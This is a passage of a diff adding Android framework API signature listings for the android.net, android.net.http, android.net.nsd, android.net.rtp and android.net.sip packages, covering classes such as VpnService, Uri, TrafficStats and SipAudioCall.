+    method @NonNull public android.net.IpSecManager.UdpEncapsulationSocket openUdpEncapsulationSocket() throws java.io.IOException, android.net.IpSecManager.ResourceUnavailableException;
+    method public void removeTransportModeTransforms(@NonNull java.net.Socket) throws java.io.IOException;
+    method public void removeTransportModeTransforms(@NonNull java.net.DatagramSocket) throws java.io.IOException;
+    method public void removeTransportModeTransforms(@NonNull java.io.FileDescriptor) throws java.io.IOException;
+    field public static final int DIRECTION_IN = 0; // 0x0
+    field public static final int DIRECTION_OUT = 1; // 0x1
+  }
+
+  public static final class IpSecManager.ResourceUnavailableException extends android.util.AndroidException {
+  }
+
+  public static final class IpSecManager.SecurityParameterIndex implements java.lang.AutoCloseable {
+    method public void close();
+    method public int getSpi();
+  }
+
+  public static final class IpSecManager.SpiUnavailableException extends android.util.AndroidException {
+    method public int getSpi();
+  }
+
+  public static final class IpSecManager.UdpEncapsulationSocket implements java.lang.AutoCloseable {
+    method public void close() throws java.io.IOException;
+    method public java.io.FileDescriptor getFileDescriptor();
+    method public int getPort();
+  }
+
+  public final class IpSecTransform implements java.lang.AutoCloseable {
+    method public void close();
+  }
+
+  public static class IpSecTransform.Builder {
+    ctor public IpSecTransform.Builder(@NonNull android.content.Context);
+    method @NonNull public android.net.IpSecTransform buildTransportModeTransform(@NonNull java.net.InetAddress, @NonNull android.net.IpSecManager.SecurityParameterIndex) throws java.io.IOException, android.net.IpSecManager.ResourceUnavailableException, android.net.IpSecManager.SpiUnavailableException;
+    method @NonNull public android.net.IpSecTransform.Builder setAuthenticatedEncryption(@NonNull android.net.IpSecAlgorithm);
+    method @NonNull public android.net.IpSecTransform.Builder setAuthentication(@NonNull android.net.IpSecAlgorithm);
+    method @NonNull public android.net.IpSecTransform.Builder setEncryption(@NonNull android.net.IpSecAlgorithm);
+    method @NonNull public android.net.IpSecTransform.Builder setIpv4Encapsulation(@NonNull android.net.IpSecManager.UdpEncapsulationSocket, int);
+  }
+
+  public class LocalServerSocket implements java.io.Closeable {
+    ctor public LocalServerSocket(String) throws java.io.IOException;
+    ctor public LocalServerSocket(java.io.FileDescriptor) throws java.io.IOException;
+    method public android.net.LocalSocket accept() throws java.io.IOException;
+    method public void close() throws java.io.IOException;
+    method public java.io.FileDescriptor getFileDescriptor();
+    method public android.net.LocalSocketAddress getLocalSocketAddress();
+  }
+
+  public class LocalSocket implements java.io.Closeable {
+    ctor public LocalSocket();
+    ctor public LocalSocket(int);
+    method public void bind(android.net.LocalSocketAddress) throws java.io.IOException;
+    method public void close() throws java.io.IOException;
+    method public void connect(android.net.LocalSocketAddress) throws java.io.IOException;
+    method public void connect(android.net.LocalSocketAddress, int) throws java.io.IOException;
+    method public java.io.FileDescriptor[] getAncillaryFileDescriptors() throws java.io.IOException;
+    method public java.io.FileDescriptor getFileDescriptor();
+    method public java.io.InputStream getInputStream() throws java.io.IOException;
+    method public android.net.LocalSocketAddress getLocalSocketAddress();
+    method public java.io.OutputStream getOutputStream() throws java.io.IOException;
+    method public android.net.Credentials getPeerCredentials() throws java.io.IOException;
+    method public int getReceiveBufferSize() throws java.io.IOException;
+    method public android.net.LocalSocketAddress getRemoteSocketAddress();
+    method public int getSendBufferSize() throws java.io.IOException;
+    method public int getSoTimeout() throws java.io.IOException;
+    method public boolean isBound();
+    method public boolean isClosed();
+    method public boolean isConnected();
+    method public boolean isInputShutdown();
+    method public boolean isOutputShutdown();
+    method public void setFileDescriptorsForSend(java.io.FileDescriptor[]);
+    method public void setReceiveBufferSize(int) throws java.io.IOException;
+    method public void setSendBufferSize(int) throws java.io.IOException;
+    method public void setSoTimeout(int) throws java.io.IOException;
+    method public void shutdownInput() throws java.io.IOException;
+    method public void shutdownOutput() throws java.io.IOException;
+    field public static final int SOCKET_DGRAM = 1; // 0x1
+    field public static final int SOCKET_SEQPACKET = 3; // 0x3
+    field public static final int SOCKET_STREAM = 2; // 0x2
+  }
+
+  public class LocalSocketAddress {
+    ctor public LocalSocketAddress(String, android.net.LocalSocketAddress.Namespace);
+    ctor public LocalSocketAddress(String);
+    method public String getName();
+    method public android.net.LocalSocketAddress.Namespace getNamespace();
+  }
+
+  public enum LocalSocketAddress.Namespace {
+    enum_constant public static final android.net.LocalSocketAddress.Namespace ABSTRACT;
+    enum_constant public static final android.net.LocalSocketAddress.Namespace FILESYSTEM;
+    enum_constant public static final android.net.LocalSocketAddress.Namespace RESERVED;
+  }
+
+  public class MailTo {
+    method public String getBody();
+    method public String getCc();
+    method public java.util.Map<java.lang.String,java.lang.String> getHeaders();
+    method public String getSubject();
+    method public String getTo();
+    method public static boolean isMailTo(String);
+    method public static android.net.MailTo parse(String) throws android.net.ParseException;
+    field public static final String MAILTO_SCHEME = "mailto:";
+  }
+
+  public abstract class NetworkSpecifier {
+    ctor public NetworkSpecifier();
+  }
+
+  public abstract class PlatformVpnProfile {
+    method public final int getType();
+    method @NonNull public final String getTypeString();
+    field public static final int TYPE_IKEV2_IPSEC_PSK = 7; // 0x7
+    field public static final int TYPE_IKEV2_IPSEC_RSA = 8; // 0x8
+    field public static final int TYPE_IKEV2_IPSEC_USER_PASS = 6; // 0x6
+  }
+
+  public final class Proxy {
+    ctor public Proxy();
+    method @Deprecated public static String getDefaultHost();
+    method @Deprecated public static int getDefaultPort();
+    method @Deprecated public static String getHost(android.content.Context);
+    method @Deprecated public static int getPort(android.content.Context);
+    field public static final String PROXY_CHANGE_ACTION = "android.intent.action.PROXY_CHANGE";
+  }
+
+  @Deprecated public class SSLCertificateSocketFactory extends javax.net.ssl.SSLSocketFactory {
+    ctor @Deprecated public SSLCertificateSocketFactory(int);
+    method @Deprecated public java.net.Socket createSocket(java.net.Socket, String, int, boolean) throws java.io.IOException;
+    method @Deprecated public java.net.Socket createSocket(java.net.InetAddress, int, java.net.InetAddress, int) throws java.io.IOException;
+    method @Deprecated public java.net.Socket createSocket(java.net.InetAddress, int) throws java.io.IOException;
+    method @Deprecated public java.net.Socket createSocket(String, int, java.net.InetAddress, int) throws java.io.IOException;
+    method @Deprecated public java.net.Socket createSocket(String, int) throws java.io.IOException;
+    method @Deprecated public static javax.net.SocketFactory getDefault(int);
+    method @Deprecated public static javax.net.ssl.SSLSocketFactory getDefault(int, android.net.SSLSessionCache);
+    method @Deprecated public String[] getDefaultCipherSuites();
+    method @Deprecated public static javax.net.ssl.SSLSocketFactory getInsecure(int, android.net.SSLSessionCache);
+    method @Deprecated public byte[] getNpnSelectedProtocol(java.net.Socket);
+    method @Deprecated public String[] getSupportedCipherSuites();
+    method @Deprecated public void setHostname(java.net.Socket, String);
+    method @Deprecated public void setKeyManagers(javax.net.ssl.KeyManager[]);
+    method @Deprecated public void setNpnProtocols(byte[][]);
+    method @Deprecated public void setTrustManagers(javax.net.ssl.TrustManager[]);
+    method @Deprecated public void setUseSessionTickets(java.net.Socket, boolean);
+  }
+
+  public final class SSLSessionCache {
+    ctor public SSLSessionCache(java.io.File) throws java.io.IOException;
+    ctor public SSLSessionCache(android.content.Context);
+  }
+
+  public final class TelephonyNetworkSpecifier extends android.net.NetworkSpecifier implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getSubscriptionId();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.TelephonyNetworkSpecifier> CREATOR;
+  }
+
+  public static final class TelephonyNetworkSpecifier.Builder {
+    ctor public TelephonyNetworkSpecifier.Builder();
+    method @NonNull public android.net.TelephonyNetworkSpecifier build();
+    method @NonNull public android.net.TelephonyNetworkSpecifier.Builder setSubscriptionId(int);
+  }
+
+  public class TrafficStats {
+    ctor public TrafficStats();
+    method public static void clearThreadStatsTag();
+    method public static void clearThreadStatsUid();
+    method public static int getAndSetThreadStatsTag(int);
+    method public static long getMobileRxBytes();
+    method public static long getMobileRxPackets();
+    method public static long getMobileTxBytes();
+    method public static long getMobileTxPackets();
+    method public static long getRxBytes(@NonNull String);
+    method public static long getRxPackets(@NonNull String);
+    method public static int getThreadStatsTag();
+    method public static int getThreadStatsUid();
+    method public static long getTotalRxBytes();
+    method public static long getTotalRxPackets();
+    method public static long getTotalTxBytes();
+    method public static long getTotalTxPackets();
+    method public static long getTxBytes(@NonNull String);
+    method public static long getTxPackets(@NonNull String);
+    method public static long getUidRxBytes(int);
+    method public static long getUidRxPackets(int);
+    method @Deprecated public static long getUidTcpRxBytes(int);
+    method @Deprecated public static long getUidTcpRxSegments(int);
+    method @Deprecated public static long getUidTcpTxBytes(int);
+    method @Deprecated public static long getUidTcpTxSegments(int);
+    method public static long getUidTxBytes(int);
+    method public static long getUidTxPackets(int);
+    method @Deprecated public static long getUidUdpRxBytes(int);
+    method @Deprecated public static long getUidUdpRxPackets(int);
+    method @Deprecated public static long getUidUdpTxBytes(int);
+    method @Deprecated public static long getUidUdpTxPackets(int);
+    method public static void incrementOperationCount(int);
+    method public static void incrementOperationCount(int, int);
+    method public static void setThreadStatsTag(int);
+    method public static void setThreadStatsUid(int);
+    method public static void tagDatagramSocket(java.net.DatagramSocket) throws java.net.SocketException;
+    method public static void tagFileDescriptor(java.io.FileDescriptor) throws java.io.IOException;
+    method public static void tagSocket(java.net.Socket) throws java.net.SocketException;
+    method public static void untagDatagramSocket(java.net.DatagramSocket) throws java.net.SocketException;
+    method public static void untagFileDescriptor(java.io.FileDescriptor) throws java.io.IOException;
+    method public static void untagSocket(java.net.Socket) throws java.net.SocketException;
+    field public static final int UNSUPPORTED = -1; // 0xffffffff
+  }
+
+  public abstract class Uri implements java.lang.Comparable<android.net.Uri> android.os.Parcelable {
+    method public abstract android.net.Uri.Builder buildUpon();
+    method public int compareTo(android.net.Uri);
+    method public static String decode(String);
+    method public static String encode(String);
+    method public static String encode(String, String);
+    method public static android.net.Uri fromFile(java.io.File);
+    method public static android.net.Uri fromParts(String, String, String);
+    method @Nullable public abstract String getAuthority();
+    method public boolean getBooleanQueryParameter(String, boolean);
+    method @Nullable public abstract String getEncodedAuthority();
+    method @Nullable public abstract String getEncodedFragment();
+    method @Nullable public abstract String getEncodedPath();
+    method @Nullable public abstract String getEncodedQuery();
+    method public abstract String getEncodedSchemeSpecificPart();
+    method @Nullable public abstract String getEncodedUserInfo();
+    method @Nullable public abstract String getFragment();
+    method @Nullable public abstract String getHost();
+    method @Nullable public abstract String getLastPathSegment();
+    method @Nullable public abstract String getPath();
+    method public abstract java.util.List<java.lang.String> getPathSegments();
+    method public abstract int getPort();
+    method @Nullable public abstract String getQuery();
+    method @Nullable public String getQueryParameter(String);
+    method public java.util.Set<java.lang.String> getQueryParameterNames();
+    method public java.util.List<java.lang.String> getQueryParameters(String);
+    method @Nullable public abstract String getScheme();
+    method public abstract String getSchemeSpecificPart();
+    method @Nullable public abstract String getUserInfo();
+    method public boolean isAbsolute();
+    method public abstract boolean isHierarchical();
+    method public boolean isOpaque();
+    method public abstract boolean isRelative();
+    method public android.net.Uri normalizeScheme();
+    method public static android.net.Uri parse(String);
+    method public abstract String toString();
+    method public static android.net.Uri withAppendedPath(android.net.Uri, String);
+    method public static void writeToParcel(android.os.Parcel, android.net.Uri);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.Uri> CREATOR;
+    field public static final android.net.Uri EMPTY;
+  }
+
+  public static final class Uri.Builder {
+    ctor public Uri.Builder();
+    method public android.net.Uri.Builder appendEncodedPath(String);
+    method public android.net.Uri.Builder appendPath(String);
+    method public android.net.Uri.Builder appendQueryParameter(String, String);
+    method public android.net.Uri.Builder authority(String);
+    method public android.net.Uri build();
+    method public android.net.Uri.Builder clearQuery();
+    method public android.net.Uri.Builder encodedAuthority(String);
+    method public android.net.Uri.Builder encodedFragment(String);
+    method public android.net.Uri.Builder encodedOpaquePart(String);
+    method public android.net.Uri.Builder encodedPath(String);
+    method public android.net.Uri.Builder encodedQuery(String);
+    method public android.net.Uri.Builder fragment(String);
+    method public android.net.Uri.Builder opaquePart(String);
+    method public android.net.Uri.Builder path(String);
+    method public android.net.Uri.Builder query(String);
+    method public android.net.Uri.Builder scheme(String);
+  }
+
+  public class UrlQuerySanitizer {
+    ctor public UrlQuerySanitizer();
+    ctor public UrlQuerySanitizer(String);
+    method protected void addSanitizedEntry(String, String);
+    method protected void clear();
+    method protected int decodeHexDigit(char);
+    method public static final android.net.UrlQuerySanitizer.ValueSanitizer getAllButNulAndAngleBracketsLegal();
+    method public static final android.net.UrlQuerySanitizer.ValueSanitizer getAllButNulLegal();
+    method public static final android.net.UrlQuerySanitizer.ValueSanitizer getAllButWhitespaceLegal();
+    method public static final android.net.UrlQuerySanitizer.ValueSanitizer getAllIllegal();
+    method public boolean getAllowUnregisteredParamaters();
+    method public static final android.net.UrlQuerySanitizer.ValueSanitizer getAmpAndSpaceLegal();
+    method public static final android.net.UrlQuerySanitizer.ValueSanitizer getAmpLegal();
+    method public android.net.UrlQuerySanitizer.ValueSanitizer getEffectiveValueSanitizer(String);
+    method public java.util.List<android.net.UrlQuerySanitizer.ParameterValuePair> getParameterList();
+    method public java.util.Set<java.lang.String> getParameterSet();
+    method public boolean getPreferFirstRepeatedParameter();
+    method public static final android.net.UrlQuerySanitizer.ValueSanitizer getSpaceLegal();
+    method public android.net.UrlQuerySanitizer.ValueSanitizer getUnregisteredParameterValueSanitizer();
+    method public static final android.net.UrlQuerySanitizer.ValueSanitizer getUrlAndSpaceLegal();
+    method public static final android.net.UrlQuerySanitizer.ValueSanitizer getUrlLegal();
+    method public String getValue(String);
+    method public android.net.UrlQuerySanitizer.ValueSanitizer getValueSanitizer(String);
+    method public boolean hasParameter(String);
+    method protected boolean isHexDigit(char);
+    method protected void parseEntry(String, String);
+    method public void parseQuery(String);
+    method public void parseUrl(String);
+    method public void registerParameter(String, android.net.UrlQuerySanitizer.ValueSanitizer);
+    method public void registerParameters(String[], android.net.UrlQuerySanitizer.ValueSanitizer);
+    method public void setAllowUnregisteredParamaters(boolean);
+    method public void setPreferFirstRepeatedParameter(boolean);
+    method public void setUnregisteredParameterValueSanitizer(android.net.UrlQuerySanitizer.ValueSanitizer);
+    method public String unescape(String);
+  }
+
+  public static class UrlQuerySanitizer.IllegalCharacterValueSanitizer implements android.net.UrlQuerySanitizer.ValueSanitizer {
+    ctor public UrlQuerySanitizer.IllegalCharacterValueSanitizer(int);
+    method public String sanitize(String);
+    field public static final int ALL_BUT_NUL_AND_ANGLE_BRACKETS_LEGAL = 1439; // 0x59f
+    field public static final int ALL_BUT_NUL_LEGAL = 1535; // 0x5ff
+    field public static final int ALL_BUT_WHITESPACE_LEGAL = 1532; // 0x5fc
+    field public static final int ALL_ILLEGAL = 0; // 0x0
+    field public static final int ALL_OK = 2047; // 0x7ff
+    field public static final int ALL_WHITESPACE_OK = 3; // 0x3
+    field public static final int AMP_AND_SPACE_LEGAL = 129; // 0x81
+    field public static final int AMP_LEGAL = 128; // 0x80
+    field public static final int AMP_OK = 128; // 0x80
+    field public static final int DQUOTE_OK = 8; // 0x8
+    field public static final int GT_OK = 64; // 0x40
+    field public static final int LT_OK = 32; // 0x20
+    field public static final int NON_7_BIT_ASCII_OK = 4; // 0x4
+    field public static final int NUL_OK = 512; // 0x200
+    field public static final int OTHER_WHITESPACE_OK = 2; // 0x2
+    field public static final int PCT_OK = 256; // 0x100
+    field public static final int SCRIPT_URL_OK = 1024; // 0x400
+    field public static final int SPACE_LEGAL = 1; // 0x1
+    field public static final int SPACE_OK = 1; // 0x1
+    field public static final int SQUOTE_OK = 16; // 0x10
+    field public static final int URL_AND_SPACE_LEGAL = 405; // 0x195
+    field public static final int URL_LEGAL = 404; // 0x194
+  }
+
+  public class UrlQuerySanitizer.ParameterValuePair {
+    ctor public UrlQuerySanitizer.ParameterValuePair(String, String);
+    field public String mParameter;
+    field public String mValue;
+  }
+
+  public static interface UrlQuerySanitizer.ValueSanitizer {
+    method public String sanitize(String);
+  }
+
+  public class VpnManager {
+    method public void deleteProvisionedVpnProfile();
+    method @Nullable public android.content.Intent provisionVpnProfile(@NonNull android.net.PlatformVpnProfile);
+    method public void startProvisionedVpnProfile();
+    method public void stopProvisionedVpnProfile();
+  }
+
+  public class VpnService extends android.app.Service {
+    ctor public VpnService();
+    method public final boolean isAlwaysOn();
+    method public final boolean isLockdownEnabled();
+    method public android.os.IBinder onBind(android.content.Intent);
+    method public void onRevoke();
+    method public static android.content.Intent prepare(android.content.Context);
+    method public boolean protect(int);
+    method public boolean protect(java.net.Socket);
+    method public boolean protect(java.net.DatagramSocket);
+    method public boolean setUnderlyingNetworks(android.net.Network[]);
+    field public static final String SERVICE_INTERFACE = "android.net.VpnService";
+    field public static final String SERVICE_META_DATA_SUPPORTS_ALWAYS_ON = "android.net.VpnService.SUPPORTS_ALWAYS_ON";
+  }
+
+  public class VpnService.Builder {
+    ctor public VpnService.Builder();
+    method @NonNull public android.net.VpnService.Builder addAddress(@NonNull java.net.InetAddress, int);
+    method @NonNull public android.net.VpnService.Builder addAddress(@NonNull String, int);
+    method @NonNull public android.net.VpnService.Builder addAllowedApplication(@NonNull String) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public android.net.VpnService.Builder addDisallowedApplication(@NonNull String) throws android.content.pm.PackageManager.NameNotFoundException;
+    method @NonNull public android.net.VpnService.Builder addDnsServer(@NonNull java.net.InetAddress);
+    method @NonNull public android.net.VpnService.Builder addDnsServer(@NonNull String);
+    method @NonNull public android.net.VpnService.Builder addRoute(@NonNull java.net.InetAddress, int);
+    method @NonNull public android.net.VpnService.Builder addRoute(@NonNull String, int);
+    method @NonNull public android.net.VpnService.Builder addSearchDomain(@NonNull String);
+    method @NonNull public android.net.VpnService.Builder allowBypass();
+    method @NonNull public android.net.VpnService.Builder allowFamily(int);
+    method @Nullable public android.os.ParcelFileDescriptor establish();
+    method @NonNull public android.net.VpnService.Builder setBlocking(boolean);
+    method @NonNull public android.net.VpnService.Builder setConfigureIntent(@NonNull android.app.PendingIntent);
+    method @NonNull public android.net.VpnService.Builder setHttpProxy(@NonNull android.net.ProxyInfo);
+    method @NonNull public android.net.VpnService.Builder setMetered(boolean);
+    method @NonNull public android.net.VpnService.Builder setMtu(int);
+    method @NonNull public android.net.VpnService.Builder setSession(@NonNull String);
+    method @NonNull public android.net.VpnService.Builder setUnderlyingNetworks(@Nullable android.net.Network[]);
+  }
+
+}
+
+package android.net.http {
+
+  public final class HttpResponseCache extends java.net.ResponseCache implements java.io.Closeable {
+    method public void close() throws java.io.IOException;
+    method public void delete() throws java.io.IOException;
+    method public void flush();
+    method public java.net.CacheResponse get(java.net.URI, String, java.util.Map<java.lang.String,java.util.List<java.lang.String>>) throws java.io.IOException;
+    method public int getHitCount();
+    method public static android.net.http.HttpResponseCache getInstalled();
+    method public int getNetworkCount();
+    method public int getRequestCount();
+    method public static android.net.http.HttpResponseCache install(java.io.File, long) throws java.io.IOException;
+    method public long maxSize();
+    method public java.net.CacheRequest put(java.net.URI, java.net.URLConnection) throws java.io.IOException;
+    method public long size();
+  }
+
+  public class SslCertificate {
+    ctor @Deprecated public SslCertificate(String, String, String, String);
+    ctor @Deprecated public SslCertificate(String, String, java.util.Date, java.util.Date);
+    ctor public SslCertificate(java.security.cert.X509Certificate);
+    method public android.net.http.SslCertificate.DName getIssuedBy();
+    method public android.net.http.SslCertificate.DName getIssuedTo();
+    method @Deprecated public String getValidNotAfter();
+    method public java.util.Date getValidNotAfterDate();
+    method @Deprecated public String getValidNotBefore();
+    method public java.util.Date getValidNotBeforeDate();
+    method @Nullable public java.security.cert.X509Certificate getX509Certificate();
+    method public static android.net.http.SslCertificate restoreState(android.os.Bundle);
+    method public static android.os.Bundle saveState(android.net.http.SslCertificate);
+  }
+
+  public class SslCertificate.DName {
+    ctor public SslCertificate.DName(String);
+    method public String getCName();
+    method public String getDName();
+    method public String getOName();
+    method public String getUName();
+  }
+
+  public class SslError {
+    ctor @Deprecated public SslError(int, android.net.http.SslCertificate);
+    ctor @Deprecated public SslError(int, java.security.cert.X509Certificate);
+    ctor public SslError(int, android.net.http.SslCertificate, String);
+    ctor public SslError(int, java.security.cert.X509Certificate, String);
+    method public boolean addError(int);
+    method public android.net.http.SslCertificate getCertificate();
+    method public int getPrimaryError();
+    method public String getUrl();
+    method public boolean hasError(int);
+    field public static final int SSL_DATE_INVALID = 4; // 0x4
+    field public static final int SSL_EXPIRED = 1; // 0x1
+    field public static final int SSL_IDMISMATCH = 2; // 0x2
+    field public static final int SSL_INVALID = 5; // 0x5
+    field @Deprecated public static final int SSL_MAX_ERROR = 6; // 0x6
+    field public static final int SSL_NOTYETVALID = 0; // 0x0
+    field public static final int SSL_UNTRUSTED = 3; // 0x3
+  }
+
+  public class X509TrustManagerExtensions {
+    ctor public X509TrustManagerExtensions(javax.net.ssl.X509TrustManager) throws java.lang.IllegalArgumentException;
+    method public java.util.List<java.security.cert.X509Certificate> checkServerTrusted(java.security.cert.X509Certificate[], String, String) throws java.security.cert.CertificateException;
+    method public boolean isSameTrustConfiguration(String, String);
+    method public boolean isUserAddedCertificate(java.security.cert.X509Certificate);
+  }
+
+}
+
+package android.net.nsd {
+
+  public final class NsdManager {
+    method public void discoverServices(String, int, android.net.nsd.NsdManager.DiscoveryListener);
+    method public void registerService(android.net.nsd.NsdServiceInfo, int, android.net.nsd.NsdManager.RegistrationListener);
+    method public void resolveService(android.net.nsd.NsdServiceInfo, android.net.nsd.NsdManager.ResolveListener);
+    method public void stopServiceDiscovery(android.net.nsd.NsdManager.DiscoveryListener);
+    method public void unregisterService(android.net.nsd.NsdManager.RegistrationListener);
+    field public static final String ACTION_NSD_STATE_CHANGED = "android.net.nsd.STATE_CHANGED";
+    field public static final String EXTRA_NSD_STATE = "nsd_state";
+    field public static final int FAILURE_ALREADY_ACTIVE = 3; // 0x3
+    field public static final int FAILURE_INTERNAL_ERROR = 0; // 0x0
+    field public static final int FAILURE_MAX_LIMIT = 4; // 0x4
+    field public static final int NSD_STATE_DISABLED = 1; // 0x1
+    field public static final int NSD_STATE_ENABLED = 2; // 0x2
+    field public static final int PROTOCOL_DNS_SD = 1; // 0x1
+  }
+
+  public static interface NsdManager.DiscoveryListener {
+    method public void onDiscoveryStarted(String);
+    method public void onDiscoveryStopped(String);
+    method public void onServiceFound(android.net.nsd.NsdServiceInfo);
+    method public void onServiceLost(android.net.nsd.NsdServiceInfo);
+    method public void onStartDiscoveryFailed(String, int);
+    method public void onStopDiscoveryFailed(String, int);
+  }
+
+  public static interface NsdManager.RegistrationListener {
+    method public void onRegistrationFailed(android.net.nsd.NsdServiceInfo, int);
+    method public void onServiceRegistered(android.net.nsd.NsdServiceInfo);
+    method public void onServiceUnregistered(android.net.nsd.NsdServiceInfo);
+    method public void onUnregistrationFailed(android.net.nsd.NsdServiceInfo, int);
+  }
+
+  public static interface NsdManager.ResolveListener {
+    method public void onResolveFailed(android.net.nsd.NsdServiceInfo, int);
+    method public void onServiceResolved(android.net.nsd.NsdServiceInfo);
+  }
+
+  public final class NsdServiceInfo implements android.os.Parcelable {
+    ctor public NsdServiceInfo();
+    method public int describeContents();
+    method public java.util.Map<java.lang.String,byte[]> getAttributes();
+    method public java.net.InetAddress getHost();
+    method public int getPort();
+    method public String getServiceName();
+    method public String getServiceType();
+    method public void removeAttribute(String);
+    method public void setAttribute(String, String);
+    method public void setHost(java.net.InetAddress);
+    method public void setPort(int);
+    method public void setServiceName(String);
+    method public void setServiceType(String);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.net.nsd.NsdServiceInfo> CREATOR;
+  }
+
+}
+
+package android.net.rtp {
+
+  @Deprecated public class AudioCodec {
+    method @Deprecated public static android.net.rtp.AudioCodec getCodec(int, String, String);
+    method @Deprecated public static android.net.rtp.AudioCodec[] getCodecs();
+    field @Deprecated public static final android.net.rtp.AudioCodec AMR;
+    field @Deprecated public static final android.net.rtp.AudioCodec GSM;
+    field @Deprecated public static final android.net.rtp.AudioCodec GSM_EFR;
+    field @Deprecated public static final android.net.rtp.AudioCodec PCMA;
+    field @Deprecated public static final android.net.rtp.AudioCodec PCMU;
+    field @Deprecated public final String fmtp;
+    field @Deprecated public final String rtpmap;
+    field @Deprecated public final int type;
+  }
+
+  @Deprecated public class AudioGroup {
+    ctor @Deprecated public AudioGroup();
+    ctor @Deprecated public AudioGroup(@NonNull android.content.Context);
+    method @Deprecated public void clear();
+    method @Deprecated public int getMode();
+    method @Deprecated public android.net.rtp.AudioStream[] getStreams();
+    method @Deprecated public void sendDtmf(int);
+    method @Deprecated public void setMode(int);
+    field @Deprecated public static final int MODE_ECHO_SUPPRESSION = 3; // 0x3
+    field @Deprecated public static final int MODE_MUTED = 1; // 0x1
+    field @Deprecated public static final int MODE_NORMAL = 2; // 0x2
+    field @Deprecated public static final int MODE_ON_HOLD = 0; // 0x0
+  }
+
+  @Deprecated public class AudioStream extends android.net.rtp.RtpStream {
+    ctor @Deprecated public AudioStream(java.net.InetAddress) throws java.net.SocketException;
+    method @Deprecated public android.net.rtp.AudioCodec getCodec();
+    method @Deprecated public int getDtmfType();
+    method @Deprecated public android.net.rtp.AudioGroup getGroup();
+    method @Deprecated public final boolean isBusy();
+    method @Deprecated public void join(android.net.rtp.AudioGroup);
+    method @Deprecated public void setCodec(android.net.rtp.AudioCodec);
+    method @Deprecated public void setDtmfType(int);
+  }
+
+  @Deprecated public class RtpStream {
+    method @Deprecated public void associate(java.net.InetAddress, int);
+    method @Deprecated public java.net.InetAddress getLocalAddress();
+    method @Deprecated public int getLocalPort();
+    method @Deprecated public int getMode();
+    method @Deprecated public java.net.InetAddress getRemoteAddress();
+    method @Deprecated public int getRemotePort();
+    method @Deprecated public boolean isBusy();
+    method @Deprecated public void release();
+    method @Deprecated public void setMode(int);
+    field @Deprecated public static final int MODE_NORMAL = 0; // 0x0
+    field @Deprecated public static final int MODE_RECEIVE_ONLY = 2; // 0x2
+    field @Deprecated public static final int MODE_SEND_ONLY = 1; // 0x1
+  }
+
+}
+
+package android.net.sip {
+
+  @Deprecated public class SipAudioCall {
+    ctor @Deprecated public SipAudioCall(android.content.Context, android.net.sip.SipProfile);
+    method @Deprecated public void answerCall(int) throws android.net.sip.SipException;
+    method @Deprecated public void attachCall(android.net.sip.SipSession, String) throws android.net.sip.SipException;
+    method @Deprecated public void close();
+    method @Deprecated public void continueCall(int) throws android.net.sip.SipException;
+    method @Deprecated public void endCall() throws android.net.sip.SipException;
+    method @Deprecated public android.net.sip.SipProfile getLocalProfile();
+    method @Deprecated public android.net.sip.SipProfile getPeerProfile();
+    method @Deprecated public int getState();
+    method @Deprecated public void holdCall(int) throws android.net.sip.SipException;
+    method @Deprecated public boolean isInCall();
+    method @Deprecated public boolean isMuted();
+    method @Deprecated public boolean isOnHold();
+    method @Deprecated public void makeCall(android.net.sip.SipProfile, android.net.sip.SipSession, int) throws android.net.sip.SipException;
+    method @Deprecated public void sendDtmf(int);
+    method @Deprecated public void sendDtmf(int, android.os.Message);
+    method @Deprecated public void setListener(android.net.sip.SipAudioCall.Listener);
+    method @Deprecated public void setListener(android.net.sip.SipAudioCall.Listener, boolean);
+    method @Deprecated public void setSpeakerMode(boolean);
+    method @Deprecated public void startAudio();
+    method @Deprecated public void toggleMute();
+  }
+
+  @Deprecated public static class SipAudioCall.Listener {
+    ctor @Deprecated public SipAudioCall.Listener();
+    method @Deprecated public void onCallBusy(android.net.sip.SipAudioCall);
+    method @Deprecated public void onCallEnded(android.net.sip.SipAudioCall);
+    method @Deprecated public void onCallEstablished(android.net.sip.SipAudioCall);
+    method @Deprecated public void onCallHeld(android.net.sip.SipAudioCall);
+    method @Deprecated public void onCalling(android.net.sip.SipAudioCall);
+    method @Deprecated public void onChanged(android.net.sip.SipAudioCall);
+    method @Deprecated public void onError(android.net.sip.SipAudioCall, int, String);
+    method @Deprecated public void onReadyToCall(android.net.sip.SipAudioCall);
+    method @Deprecated public void onRinging(android.net.sip.SipAudioCall, android.net.sip.SipProfile);
+    method @Deprecated public void onRingingBack(android.net.sip.SipAudioCall);
+  }
+
+  @Deprecated public class SipErrorCode {
+    method @Deprecated public static String toString(int);
+    field @Deprecated public static final int CLIENT_ERROR = -4; // 0xfffffffc
+    field @Deprecated public static final int CROSS_DOMAIN_AUTHENTICATION = -11; // 0xfffffff5
+    field @Deprecated public static final int DATA_CONNECTION_LOST = -10; // 0xfffffff6
+    field @Deprecated public static final int INVALID_CREDENTIALS = -8; // 0xfffffff8
+    field @Deprecated public static final int INVALID_REMOTE_URI = -6; // 0xfffffffa
+    field @Deprecated public static final int IN_PROGRESS = -9; // 0xfffffff7
+    field @Deprecated public static final int NO_ERROR = 0; // 0x0
+    field @Deprecated public static final int PEER_NOT_REACHABLE = -7; // 0xfffffff9
+    field @Deprecated public static final int SERVER_ERROR = -2; // 0xfffffffe
+    field @Deprecated public static final int SERVER_UNREACHABLE = -12; // 0xfffffff4
+    field @Deprecated public static final int SOCKET_ERROR = -1; // 0xffffffff
+    field @Deprecated public static final int TIME_OUT = -5; // 0xfffffffb
+    field @Deprecated public static final int TRANSACTION_TERMINTED = -3; // 0xfffffffd
+  }
+
+  @Deprecated public class SipException extends java.lang.Exception {
+    ctor @Deprecated public SipException();
+    ctor @Deprecated public SipException(String);
+    ctor @Deprecated public SipException(String, Throwable);
+  }
+
+  @Deprecated public class SipManager {
+    method @Deprecated public void close(String) throws android.net.sip.SipException;
+    method @Deprecated public android.net.sip.SipSession createSipSession(android.net.sip.SipProfile, android.net.sip.SipSession.Listener) throws android.net.sip.SipException;
+    method @Deprecated public static String getCallId(android.content.Intent);
+    method @Deprecated public static String getOfferSessionDescription(android.content.Intent);
+    method @Deprecated public android.net.sip.SipSession getSessionFor(android.content.Intent) throws android.net.sip.SipException;
+    method @Deprecated public static boolean isApiSupported(android.content.Context);
